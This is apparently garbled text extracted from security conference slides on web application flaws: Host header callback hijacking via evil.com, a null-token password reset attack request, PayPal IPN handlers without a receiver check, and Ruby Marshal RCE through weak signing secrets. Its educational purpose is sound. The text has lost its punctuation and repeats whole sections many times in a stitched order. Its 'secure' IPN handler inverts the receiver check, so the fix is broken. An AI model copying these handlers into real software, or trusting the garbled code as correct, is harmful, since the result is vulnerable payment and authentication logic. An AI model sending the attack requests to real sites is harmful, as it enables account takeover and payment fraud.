193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
